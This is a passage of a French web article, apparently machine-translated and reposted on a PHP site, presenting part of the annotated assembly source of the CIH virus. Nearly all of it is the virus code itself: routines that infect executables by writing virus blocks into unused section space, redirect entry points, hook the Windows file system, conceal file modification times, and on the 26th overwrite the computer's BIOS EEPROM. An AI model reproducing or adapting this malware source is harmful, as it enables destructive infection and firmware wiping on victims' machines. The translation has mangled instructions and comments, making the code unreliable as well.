Maison  >  Article  >  développement back-end  >  Analyse d'exemples de codes sources de programmes antivirus-virus CIH[4]

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[4]

黄舟
黄舟original
2017-01-17 11:23:271885parcourir

push eax ; taille de la table de bloc
push edx ; est le décalage de la table de bloc de code de virus
push esi ; adresse du tampon

; la taille totale doit être inférieure ou égale à la taille de l'espace inutilisé
inc ecx
push ecx ; Save NumberOfSections 1

shl ecx, 03h multiplier par 8
push réserve virus block ; espace table
 
 add ecx, eax
 add ecx, edx ;Offset du corps du fichier ecx
 
 sub ecx, (SizeOfHeaders-@9)[esi]
 not ecx
Inc ecx ;Complet, ecx est la taille de l'en-tête du fichier - décalage du texte = espace inutilisé
 
push ecx

xchg ecx, eax;ecx est la taille de la table de blocs
 
 mov eax, (AddressOfEntryPoint-@9][esi] ;Entrer l'adresse RVA
 ajouter eax, (ImageBase-@9)[esi] ;Charger l'adresse de base
 mov (OriginalAddressOfEntryPoint-@9)[ esi] , eax ;Enregistrez l'adresse d'entrée réelle après le chargement
 
;Comparez l'espace inutilisé avec la taille du premier bloc du virus S'il est plus petit, définissez uniquement l'indicateur d'infection
 cmp word ptr. [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; Lire toutes les tables de blocage de virus
mov eax, ebp ; lire le numéro de fonction
lire la table de blocage à esi (@9)

;L'erreur de gestion des fichiers auto-extractibles Winzip est complètement modifiée ci-dessous Lorsque l'utilisateur ouvre le fichier auto-extractible,
; la deuxième table de blocs et
; lit le bloc. Data, détermine s'il contient les mots "WinZip(R)" (SizeOfScetionTable PointerToRawData-@9][ebx]
 ;edx est le décalage du deuxième bloc ( .rdata)
 
 add edx, 12h; add 10h 2h (10h c'est "WinZip....")
 
 call edi;Lire 4 octets vers esi
 
 ;Déterminer si le fichier auto-extractible Winzip, si c'est le cas, ne définissez pas le drapeau d'infection
 cmp dword ptr [esi], 'piZn '
je NotSetInfectedMark

pop edx pointe vers la première adresse de ; la table de blocage dans le fichier

; Définir la table de blocage du code du virus
pop ebx ; taille de l'espace inutilisé
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx = NumberOfSections 1

push edi
add edx, ebp ; ebp est la taille de la table de blocs
push edx ; pointeur de fichier

add ebp, ebp pointe vers la table de blocs de la zone de données virales ( le premier bloc)
push ebp ; adresse du tampon

; Définir la taille du premier bloc de code viral
lea eax, [ebp edi-04h]
mov [eax], ebx

;Définir le premier bloc de virus
push ebx; Taille du premier bloc de code viral

add edx, edi
push edx ; (MyVirusStart-@9)[esi]
push edi ; Adresse du tampon

; Modifier l'entrée de AddressOfEntryPoint en entrée de virus
mov (NewAddressOfEntryPoint-@9)[esi], edx; la nouvelle entrée du programme (texte du virus)
 
  ; Définir les données initiales
 lea edx, [esi-SizeOfScetionTable] ; diminue d'abord d'un élément la longueur de la table
MOV EBP, Offset Virussize est le virus ; length

jmp StarttowriteCodetOSections

; ONS: Add EDX, SIZEOFSCETINTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx est la SizeOfRawData (taille de bloc) de l'entrée de la table de blocs
 sub ebx, (VirtualSize-@9][edx] ;moins VirtualSize est égal à l'espace inutilisé du bloc
jbe EndOfWriteCodeToSections

push ebx ; Size

sub eax, 08h
mov [eax], ebx ; écrire la table de blocage des virus

mov ebx, ( PointerToRawData-@9)[edx] ;ebx est le décalage physique (réel) du bloc
 add ebx, (VirtualSize-@9)[edx] ;Add VirtualSize
push ebx ;ebx pointe vers le pointeur de fichier Space du bloc inutilisé
 
push edi adresse du tampon

mov ebx; , (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
Add ebx, (ImageBase-@9)[esi] ; chargé
mov [eax 4], ebx ; Enregistrer dans la table de blocage des virus

mov ebx , [eax] ;La taille de l'espace inutilisé du bloc
 add (VirtualSize-@9) [edx], ebx ;Ajouter à la taille virtuelle de l'entrée de la table de blocs
 
;Modifier les attributs de bloc de l'entrée de la table de blocs (passer en lisible et inclure les données d'initialisation)
ou (Caractéristiques-@9) [edx], 40000040h

; Commencez à écrire du code
StartToWriteCodeToSections :
sub ebp, ebx; Taille du virus - taille du bloc de virus

; Si elle est inférieure à (l'insertion du virus est terminée), définissez le caractère de fin de la table de blocage des virus
jbe SetVirusCodeSectionTableEndMark

add edi , ebx;Pointez sur le virus Bloc suivant
 
 Fin de l'écriture du code
 EndOfWriteCodeToSections :
loop LoopOfWriteCodeToSections
 
 OnlySetInfectedMark :
 mov esp, dr1 ;Définir uniquement l'infection drapeau
 
jmp WriteVirusCodeToFile ; Accédez au programme qui écrit le virus dans le fichier à infecter

; Ne pas définir l'indicateur d'infection
NotSetInfectedMark :
add esp, 3ch
jmp CloseFile ;Allez dans CloseFile

Définir la table et les marques de blocage des virus
SetVirusCodeSectionTableEndMark :
Ajuster le code de blocage du virus
ajouter [eax], ebp Corriger le dernier élément du blocage du virus ; table
add [esp 08h], ebp
 
 ;Définir le drapeau de fin de table de bloc
 🎜>lea eax, (LastVxdCallAddress-2-@9)[esi] ;L'adresse du dernier Vxd instruction appelée

mov cl, VxdCallTableSize;Le nombre d'appels Vxd utilisés

LoopOfRestoreVxdCallID :
 mov mot ptr [eax], 20cdh;Restauration sous la forme de "int 20h"
 
 ;Récupérez le numéro d'identification de l'appel Vxd depuis VxdCallIDTable et mettez-le dans edx
 mov edx, (VxdCallIDTable (ecx-1) *04h-@9)[esi]
 
 mov [ eax 2], edx ;Mettez-le après "int 20h"
 
 ;La différence dans l'adresse de chaque instruction qui appelle Vxd est placée dans le VxdCallAddressTable
 movzx edx, byte ptr (VxdCallAddressTable ecx-1- @9)[esi]
 
 sub eax, edx; eax est l'adresse de l'appel précédent
 
loop LoopOfRestoreVxdCallID; restaurer les autres appels
 
 ; 🎜> WriteVirusCodeToFile :
 mov eax, dr1;dr1 est l'esp enregistré précédemment
 mov ebx, [eax 10h]; edi est l'adresse d'appel IFSMgr_Ring0_FileIO enregistrée dans la pile

; Écriture en boucle
LoopOfWriteVirusCodeToFile:
pop ecx ; Chaque segment du code du virus Offset
jecxz SetFileModificationMark ;
mov esi, ecx
mov eax, 0d601h ; Numéro de fonction d'écriture du fichier (R0_WRITEFILE)
pop edx ; ; VXD appelle IFSMgr_Ring0_FileIO pour écrire le fichier
; Écrivez tour à tour chaque code de virus, table de blocage de virus et nouvelle
table de blocage de fichier, nouvelle entrée de programme, marque d'infection
jmp LoopOfWriteVirusCodeToFile

; Modifier l'heure de dernière modification du fichier afin que l'utilisateur ne sache pas que le fichier a été modifié
SetFileModificationMark:
pop ebx
pop eax
 
 stc;Définir le drapeau de report
 pushf;Poussez le drapeau sur la pile
 
 ;Fermez le fichier
 CloseFile:
 xor eax, eax
 mov ah, 0d7h ;Fermer le numéro de fonction du fichier
appelez Vxd ; appelle IFSMgr_Ring0_FileIO pour fermer le fichier

popf
pop esi
jnc IsKillComputer ; Si l'indicateur de retenue est 0, passez à KillComputer

Restaurer le fichier Heure de modification
mov ; ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime 2-@7)[esi]
Appeler ebx ; Vxd appelle IFSMgr_Ring0_FileIO pour modifier l'heure de dernière modification du fichier
esi]

; Appeler le FileSystemApiHook d'origine
prevhook:
popad; Restaurer tous les registres

mov eax, dr0; Enregistrez la première adresse du programme de hook du système de fichiers d'origine
jmp [eax] ; Aller au hook d'origine pour exécuter

pIFSFunc:
mov ebx, esp ; adresse de FileSystemApiHookFunction
push dword ptr [ebx 20h 04h 14h] ; Push le paramètre pioreqpir sur la pile
call [ebx 20h 04h] ; call pIFSFunc FSDFnAddr
pop ecx

mov [ebx 1ch], eax ; modifier la valeur de eax

; appelé Après pIFSFunc, récupérer les données de la valeur de retour pioreq
 cmp dword ptr [ebx 20h 04h 04h], 00000024h
jne QuitMyVirusFileSystemHook
 
 
 ; Récupère la date et la date de modification du fichier en mode DOS Heure
mov eax, [ecx 28h]
mov (FileModificationTime-@6)[esi], eax ;Enregistrer l'heure et la date du fichier obtenu
 

;Quitter le programme antivirus
QuitMyVirusFileSystemHook :
popad;Restaurer tous les registres

ret ; Quitter le programme de hook de fichier défini par le virus

; Détruire le BIOS de l'ordinateur
IsKillComputer :
; Obtenir la date actuelle du BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

jmp DisableOnBusy
ELSE
jnz DisableOnBusy ; Si ce n'est pas le 26, se tourner vers DisableOnBusy sans détruire
ENDIF

; Commencer à détruire l'EEPROM du BIOS *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
 
Afficher la page BIOS du segment d'adresse 000E0000 - 000EFFFF, a total de 64 Ko
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
 
 ;Affichez la page BIOS du segment d'adresse 000F0000 - 000FFFFF, un total de 64 Ko
 mov di, 0058h
 dec edx; et a0fh
 mov word ptr (BooleanCalculateCode-@10)[esi ], 0f24h
call esi

Afficher le segment supplémentaire 000E0000 - 000E01FF; Données ROM dans le BIOS, un total de 512 octets
 ; et le bloc BIOS inscriptible
lea ebx, EnableEEPROMToWrite -@10[esi]
 
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

Ce qui précède est le code source du programme antivirus Exemple d'analyse - Contenu du virus CIH [4]. attention au site PHP chinois (www.php.cn) !

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn